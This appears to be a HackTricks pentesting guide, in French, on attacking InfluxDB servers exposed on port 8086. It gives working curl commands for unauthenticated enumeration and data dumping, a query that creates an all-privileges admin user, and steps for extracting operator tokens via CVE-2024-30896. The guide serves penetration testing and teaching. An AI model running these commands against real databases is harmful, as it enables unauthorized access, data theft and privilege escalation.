8086 - Pentesting InfluxDB
Tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d’abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.
Informations de base
InfluxDB est une base de données de séries temporelles (TSDB) open-source développée par InfluxData. Les TSDB sont optimisées pour stocker et fournir des données de séries temporelles, qui se composent de paires horodatage-valeur. Par rapport aux bases de données à usage général, les TSDB offrent des améliorations significatives en termes d’espace de stockage et de performance pour les jeux de données de séries temporelles. Elles utilisent des algorithmes de compression spécialisés et peuvent être configurées pour supprimer automatiquement les anciennes données. Des indices de base de données spécialisés améliorent également les performances des requêtes.
Port par défaut : 8086
PORT STATE SERVICE VERSION
8086/tcp open http InfluxDB http admin 1.7.5
Identification & Version (HTTP)
- v1.x:
GET /pingretourne le statut 204 et des en-têtes tels queX-Influxdb-VersionetX-Influxdb-Build. - v2.x+:
GET /healthretourne du JSON avec la version du serveur et le statut. Fonctionne sans auth.
# v1 banner grab
curl -i http://<host>:8086/ping
# v2/compat health
curl -s http://<host>:8086/health | jq .
Astuce : les instances exposées servent souvent aussi des métriques de type Prometheus à /metrics.
Énumération
Du point de vue d’un pentester, c’est une autre base de données qui pourrait stocker des informations sensibles, donc il est intéressant de savoir comment dump toutes les informations.
Authentification
InfluxDB peut nécessiter une authentification ou non
# Try unauthenticated CLI (v1 shell)
influx -host <host> -port 8086
> use _internal
Si vous obtenez une erreur comme celle-ci : ERR: unable to parse authentication credentials cela signifie qu’il attend des credentials.
influx –username influx –password influx_pass
Il existait une vulnérabilité dans influxdb permettant de contourner l’authentification : CVE-2019-20933
Énumération manuelle (v1 HTTP API / InfluxQL)
Même si aucun CLI n’est disponible, l’HTTP API est généralement exposée sur le port 8086.
# List databases (unauth)
curl -sG "http://<host>:8086/query" --data-urlencode "q=SHOW DATABASES"
# List retention policies of a DB
curl -sG "http://<host>:8086/query" --data-urlencode "db=telegraf" --data-urlencode "q=SHOW RETENTION POLICIES ON telegraf"
# List users (if auth disabled)
curl -sG "http://<host>:8086/query" --data-urlencode "q=SHOW USERS"
# List measurements (tables)
curl -sG "http://<host>:8086/query" --data-urlencode "db=telegraf" --data-urlencode "q=SHOW MEASUREMENTS"
# List field keys (columns)
curl -sG "http://<host>:8086/query" --data-urlencode "db=telegraf" --data-urlencode "q=SHOW FIELD KEYS"
# Dump data from a measurement
curl -sG "http://<host>:8086/query" \
--data-urlencode "db=telegraf" \
--data-urlencode 'q=SELECT * FROM "cpu" LIMIT 5' | jq .
# Force epoch timestamps (useful for tooling)
curl -sG "http://<host>:8086/query" \
--data-urlencode "epoch=ns" \
--data-urlencode "db=telegraf" \
--data-urlencode 'q=SELECT * FROM "cpu" LIMIT 5'
Warning
Lors de certains tests avec l’authentication bypass, il a été noté que le nom de la table devait être entre guillemets doubles comme :
select * from "cpu"
Si l’authentication est désactivée, vous pouvez même créer des utilisateurs et escalate:
# Create an admin user (v1, auth disabled)
curl -sG "http://<host>:8086/query" \
--data-urlencode "q=CREATE USER hacker WITH PASSWORD 'P@ssw0rd!' WITH ALL PRIVILEGES"
Les informations de l’exemple CLI suivant proviennent de here.
Afficher les bases de données
Les bases de données trouvées sont telegraf et internal (vous trouverez celle-ci partout)
> show databases
name: databases
name
----
telegraf
_internal
Afficher les tables/measurements
La InfluxDB documentation explique que les measurements dans InfluxDB peuvent être assimilées aux tables SQL. La nomenclature de ces measurements reflète leur contenu respectif, chacune contenant des données liées à une entité particulière.
> show measurements
name: measurements
name
----
cpu
disk
diskio
kernel
mem
processes
swap
system
Afficher les colonnes/clés de champ
Les clés de champ sont comme les colonnes de la base de données
> show field keys
name: cpu
fieldKey fieldType
-------- ---------
usage_guest float
usage_guest_nice float
usage_idle float
usage_iowait float
name: disk
fieldKey fieldType
-------- ---------
free integer
inodes_free integer
inodes_total integer
inodes_used integer
[ ... more keys ...]
Dump Table
Et enfin, vous pouvez dump the table en faisant quelque chose comme
select * from cpu
name: cpu
time cpu host usage_guest usage_guest_nice usage_idle usage_iowait usage_irq usage_nice usage_softirq usage_steal usage_system usage_user
---- --- ---- ----------- ---------------- ---------- ------------ --------- ---------- ------------- ----------- ------------ ----------
1497018760000000000 cpu-total ubuntu 0 0 99.297893681046 0 0 0 0 0 0.35105315947842414 0.35105315947842414
1497018760000000000 cpu1 ubuntu 0 0 99.69909729188728 0 0 0 0 0 0.20060180541622202 0.10030090270811101
InfluxDB v2.x API (Token-based)
InfluxDB 2.x introduit l’authentification par token et une nouvelle API (toujours sur 8086 par défaut). Si vous obtenez un token (leaked logs, default deployments, backups) vous pouvez énumérer :
# Basic org, bucket, and auth discovery
TOKEN="<token>"; H="-H Authorization: Token $TOKEN"
# Health & version
curl -s http://<host>:8086/health | jq .
# List organizations
curl -s $H http://<host>:8086/api/v2/organizations | jq .
# List buckets
curl -s $H 'http://<host>:8086/api/v2/buckets?limit=100' | jq .
# List authorizations (requires perms)
ORGID=<org_id>
curl -s $H "http://<host>:8086/api/v2/authorizations?orgID=$ORGID" | jq .
# Query data with Flux
curl -s $H -H 'Accept: application/csv' -H 'Content-Type: application/vnd.flux' \
-X POST http://<host>:8086/api/v2/query \
--data 'from(bucket:"telegraf") |> range(start:-1h) |> limit(n:5)'
Remarques
- Pour v1.8+, certains endpoints compatibles v2 existent (
/api/v2/query,/api/v2/write,/health). Cela est utile si le serveur est en v1 mais accepte des requêtes au format v2. - Dans v2, l’en-tête HTTP
Authorizationdoit être sous la formeToken <value>.
Énumération automatisée
msf6 > use auxiliary/scanner/http/influxdb_enum
Vulns récentes et privesc d’intérêt (ces dernières années)
- InfluxDB OSS 2.x jusqu’à 2.7.11 : exposition du token opérateur (CVE-2024-30896). Dans des conditions spécifiques, un utilisateur authentifié avec accès en lecture à la ressource d’autorisation dans l’organisation par défaut pouvait lister et récupérer le token opérateur instance-wide (par ex. via
influx auth lsouGET /api/v2/authorizations). Avec ce token, l’attaquant peut administrer l’instance (buckets, tokens, users) et accéder à toutes les données à travers les organisations. Mettez à jour vers une build corrigée dès qu’elle est disponible et évitez de placer des utilisateurs réguliers dans l’organisation par défaut. Test rapide:
# Using a low-priv/all-access token tied to the default org
curl -s -H 'Authorization: Token <user_or_allAccess_token>' \
'http://<host>:8086/api/v2/authorizations?orgID=<default_org_id>' | jq .
# Look for entries of type "operator" and extract the raw token (if present)
- De nombreux déploiements 1.x hérités exposent encore
/queryet/writenon authentifiés sur Internet. Si l’authentification est désactivée, vous pouvez extraire ou même modifier les séries temporelles à volonté ; vous pouvez aussi créer des utilisateurs administrateurs comme montré ci‑dessus. Vérifiez toujours via l’HTTP API même si le CLI vous bloque.
Références
- Documentation InfluxData : référence de l’HTTP API InfluxDB v1/v2 (points de terminaison comme
/ping,/health,/query,/api/v2/authorizations). https://docs.influxdata.com/influxdb/v1/tools/api/ - Exposition du operator token (CVE-2024-30896) dans InfluxDB OSS 2.x. https://www.wiz.io/vulnerability-database/cve/cve-2024-30896
Tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d’abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.
HackTricks

